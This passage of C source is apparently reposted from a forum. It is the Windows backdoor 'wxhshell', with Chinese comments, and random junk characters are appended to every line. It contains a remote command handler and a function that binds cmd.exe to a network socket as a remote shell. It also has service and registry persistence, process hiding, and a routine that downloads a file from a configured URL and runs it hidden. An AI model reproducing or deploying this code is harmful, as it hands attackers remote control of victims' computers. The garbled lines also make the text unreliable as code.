  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); so/0f1R?~  
  } #n15_cd  
  else { q8;MPXSG3  
4`fV_H.8  
    switch(cmd[0]) { k'PvQl"I  
  a^E>LJL  
  // 帮助 j72mm!  
  case '?': { VlSM/y5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jvD_{r  
    break; R#8cOmZ  
  } 7 b(  
  // 安装 YjJ^SU`*  
  case 'i': { Q-#<{' (  
    if(Install()) #h U4gX,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8O60pB;4  
    else 8bs'Ek{'o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kumo%TXB&  
    break; RP[`\  
    } Ex|Z@~T12  
  // 卸载 1^V.L+0s]  
  case 'r': { Bgzq  
    if(Uninstall()) 6A|XB3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yGrnzB6|  
    else quC$<Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@|%{c&+9  
    break; m']$)Iqw  
    } }u$c*}  
  // 显示 wxhshell 所在路径 dTu*%S1Z  
  case 'p': { >9i>A:  
    char svExeFile[MAX_PATH]; 7ncR2-{g  
    strcpy(svExeFile,"\n\r"); pR=R{=}wV  
      strcat(svExeFile,ExeFile); vWrTB   
        send(wsh,svExeFile,strlen(svExeFile),0); ?EPHq, E  
    break; WS(m#WFQr  
    } f8=qnY2j  
  // 重启 d#$Pf=}  
  case 'b': { 5L~lF8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7+@-mJMP$D  
    if(Boot(REBOOT)) &2[Xu4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L:mE)Xq2  
    else { L;L_$hu)  
    closesocket(wsh); Z(t O]tQE  
    ExitThread(0); 0aI@m  
    } <Kr`R+Q$DN  
    break; ADB)-!$xoi  
    } O;McPw<&\:  
  // 关机 2@pEiq3  
  case 'd': { "x HK*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U 0~BcFpD  
    if(Boot(SHUTDOWN)) zSk`Ou8M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %[9ty`UE  
    else { MtF0/aT  
    closesocket(wsh); lcy+2)+  
    ExitThread(0); qwnVtD  
    } -)Vy)hD,  
    break; ZqpK}I  
    } c=bK_Z_  
  // 获取shell Hg8 4\fA  
  case 's': { bj 8pqw|;  
    CmdShell(wsh); V?) V2>]  
    closesocket(wsh); w9RBT(u  
    ExitThread(0); &+ PVY>q  
    break; MZcvr9y  
  } Y8IC4:EO  
  // 退出 J|be'V#]1  
  case 'x': { #902x*Z'c"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R+e)TR7+  
    CloseIt(wsh); Dd/]?4  
    break; 9n_Rk W5g  
    } =A{'57yP  
  // 离开 *)I^+zN  
  case 'q': { >+.GBf<E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uam %u  
    closesocket(wsh); 3PL0bejaT7  
    WSACleanup(); }lhk;#r  
    exit(1); }Y!s:w#  
    break; xN}f?  
        } F1B/cd  
  } Q*1'k%7  
  } 8\:>;XG6f  
7t}s5}Z 4  
  // 提示信息 k{b|w')  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uysTyzx  
} `'3 De(  
  } c(FGW7L<  
(18ZEKk  
  return; jOGiT|A  
} 1=sL[I7<  
@|">j#0  
// shell模块句柄 C"0 VOb  
int CmdShell(SOCKET sock) )D'# >!Y  
{ be]/ROP>H  
STARTUPINFO si; 3&{6+A  
ZeroMemory(&si,sizeof(si)); 'W54 T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fs=x+8'M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "cly99t  
PROCESS_INFORMATION ProcessInfo; On!+7is'  
char cmdline[]="cmd"; 5`U zxu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DKem;_6OQ  
  return 0; jTV4iX  
} J.U%W}Hx  
aUc#,t;Qd  
// 自身启动模式 "-MB U  
int StartFromService(void) 4^nHq 4_  
{ (e!Yu#-  
typedef struct SAf)#HXa  
{ T\6,@7  
  DWORD ExitStatus; .'38^  
  DWORD PebBaseAddress; n <> ^cD  
  DWORD AffinityMask; #D JZ42  
  DWORD BasePriority; T<Qa`|5 >  
  ULONG UniqueProcessId; v''J@F7  
  ULONG InheritedFromUniqueProcessId; {YrA [9  
}   PROCESS_BASIC_INFORMATION; c'Ibgfx%m  
oAB:H \  
PROCNTQSIP NtQueryInformationProcess; `nEqw/I  
f O+lD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?Ov~\[) F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T@#?{eA  
8 *{jxN'M  
  HANDLE             hProcess; h <$%y(lP  
  PROCESS_BASIC_INFORMATION pbi; N `fFYO  
0L#i c61U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i1KjQ1\a+  
  if(NULL == hInst ) return 0; S# baOO  
@W$ha y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~7g$T Ae{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w,R6:*p5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F9% +7Op^  
xSlgq|8  
  if (!NtQueryInformationProcess) return 0; 2|B@s3a  
`Je1$)%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l. l)w  
  if(!hProcess) return 0; EowzEGq!a5  
_!Tjb^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Uf`'X\e6  
Cd]A1<6s  
  CloseHandle(hProcess); a&)!zhVP  
gE=9K @  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8==M{M/eM  
if(hProcess==NULL) return 0; k W 8>VnW  
2P@6Qe ?  
HMODULE hMod; >JY\h1+ H  
char procName[255]; \b!E"I_^  
unsigned long cbNeeded; gn~^Ajo  
>m <T+{`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,1~zMzw^  
}fo_"bs@  
  CloseHandle(hProcess); aE3eYl9u  
]$^HGmP  
if(strstr(procName,"services")) return 1; // 以服务启动 ME]89 T &  
mQ`2c:Rn&7  
  return 0; // 注册表启动 =ePX^J*M'  
} -m>3@"q  
R-OO1~W=  
// 主模块 8d Fqwpw8  
int StartWxhshell(LPSTR lpCmdLine) Y hmveV  
{ S&]r6ss  
  SOCKET wsl; ; 8eGf'  
BOOL val=TRUE; gV h&c 4  
  int port=0; xWK/uE(  
  struct sockaddr_in door; kz6fU\U  
B3?rR-2mEE  
  if(wscfg.ws_autoins) Install(); {^uiu^RAc  
34k>O  
port=atoi(lpCmdLine); $9r4MMs{$  
L%{YLl-zf]  
if(port<=0) port=wscfg.ws_port; kZrc^  
} snS~kx  
  WSADATA data; GQd[7j[sh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dr=$}Y  
~!g2+^G7+P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :2 :VMIa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1-PlRQs.1  
  door.sin_family = AF_INET; (3!6nQj-t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N'aq4okoL  
  door.sin_port = htons(port); ]vs}-go  
B>=D$*_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =2NrmwWZs  
closesocket(wsl); %, iAn gF'  
return 1; JZ5";*,  
} birc&<  
-U A &Zt  
  if(listen(wsl,2) == INVALID_SOCKET) { JXq!v:w6  
closesocket(wsl); B)L0hi  
return 1; 'r\RN\PT  
} I^u~r.  
  Wxhshell(wsl); Kr1Y3[iNv  
  WSACleanup(); oz,.gP%  
l Ib d9F  
return 0; !]D`|HoW  
UQ7]hX9  
} In1n.oRFn^  
-KfK~P3PF  
// 以NT服务方式启动 4e AMb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >b=."i  
{ ONDO xXs  
DWORD   status = 0; h*!oHS~/l  
  DWORD   specificError = 0xfffffff; >G%oWRk  
oJ3(7Sz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )X|)X,~+-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `zw%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &k)v/  
  serviceStatus.dwWin32ExitCode     = 0; FkuD Gg~a  
  serviceStatus.dwServiceSpecificExitCode = 0; >qr/1mW  
  serviceStatus.dwCheckPoint       = 0; [{GN#W|AGP  
  serviceStatus.dwWaitHint       = 0; SDE$ymP x  
GRkN0|ovfj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |>'N^   
  if (hServiceStatusHandle==0) return; 9Oq(` 4  
|K{ d5\_  
status = GetLastError(); c?. i;4yh  
  if (status!=NO_ERROR) w%X@os}E  
{ GbZ~e I`,2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4pQf*l8e  
    serviceStatus.dwCheckPoint       = 0; j|&D(]W/  
    serviceStatus.dwWaitHint       = 0;  zy"k b  
    serviceStatus.dwWin32ExitCode     = status; V.qH&FJ=l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~I;x_0iY4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Q JPJ.  
    return; v7KBYN  
  } i|AWaG)  
hwL`9.w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z2})n -  
  serviceStatus.dwCheckPoint       = 0; [XDV-6KCE.  
  serviceStatus.dwWaitHint       = 0; ">3t+A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1i~q~ O,  
} Z}>F V~4  
_(8#  
// 处理NT服务事件,比如:启动、停止 !5?_)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .s,04xW\  
{ gt(p%~  
switch(fdwControl) Do\j_  
{ .Tq8Qdl  
case SERVICE_CONTROL_STOP: MusUgBQy  
  serviceStatus.dwWin32ExitCode = 0; \9` ~9#P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?a% F3B  
  serviceStatus.dwCheckPoint   = 0; cHT\sJo`l  
  serviceStatus.dwWaitHint     = 0; y {Bajil  
  {  +PADy8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Y=r5'6l  
  } |?Edk7`  
  return; "a~r'+'<  
case SERVICE_CONTROL_PAUSE: Xa#.GrH6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AH/o-$C&  
  break; UQ;2g\([  
case SERVICE_CONTROL_CONTINUE: ty"L&$bf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z4As'al  
  break; %cUC~, g_(  
case SERVICE_CONTROL_INTERROGATE: jn ztCNaX  
  break; 4:a ~Wlp[  
}; lMu-,Z="  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,tg]Gt  
} $MwBt  
fmQif]J;;  
// 标准应用程序主函数 FGyrDRDwC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p_&B+ <z  
{ x7<l*WQ  
\zFCph4  
// 获取操作系统版本 c*E7nc)u  
OsIsNt=GetOsVer(); \mJR^t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U/s Z1u-  
h4 9q(085V  
  // 从命令行安装 eWex/ m  
  if(strpbrk(lpCmdLine,"iI")) Install(); fiA8W  
Xxd D)I  
  // 下载执行文件 6Y,&q|K  
if(wscfg.ws_downexe) { MaY_*[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0uW)&>W  
  WinExec(wscfg.ws_filenam,SW_HIDE); U YJ>L  
} *C+[I  
=>3,]hnep  
if(!OsIsNt) { gzSm=6Qw0  
// 如果时win9x,隐藏进程并且设置为注册表启动 +6jGU '}[  
HideProc(); q. Jx|x  
StartWxhshell(lpCmdLine); Ij.mLO]  
} IZLCwaW  
else xZ`vcS(  
  if(StartFromService()) /.!&d^  
  // 以服务方式启动 >yP> ]r+  
  StartServiceCtrlDispatcher(DispatchTable); 9e>2kd  
else 3gVU#T [[  
  // 普通方式启动 +2 oZML  
  StartWxhshell(lpCmdLine); cl&?'` )  
~uZ9%UB_m  
return 0; _xi &%F/  
}
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只看该作者 1 发表于: 2006-10-10
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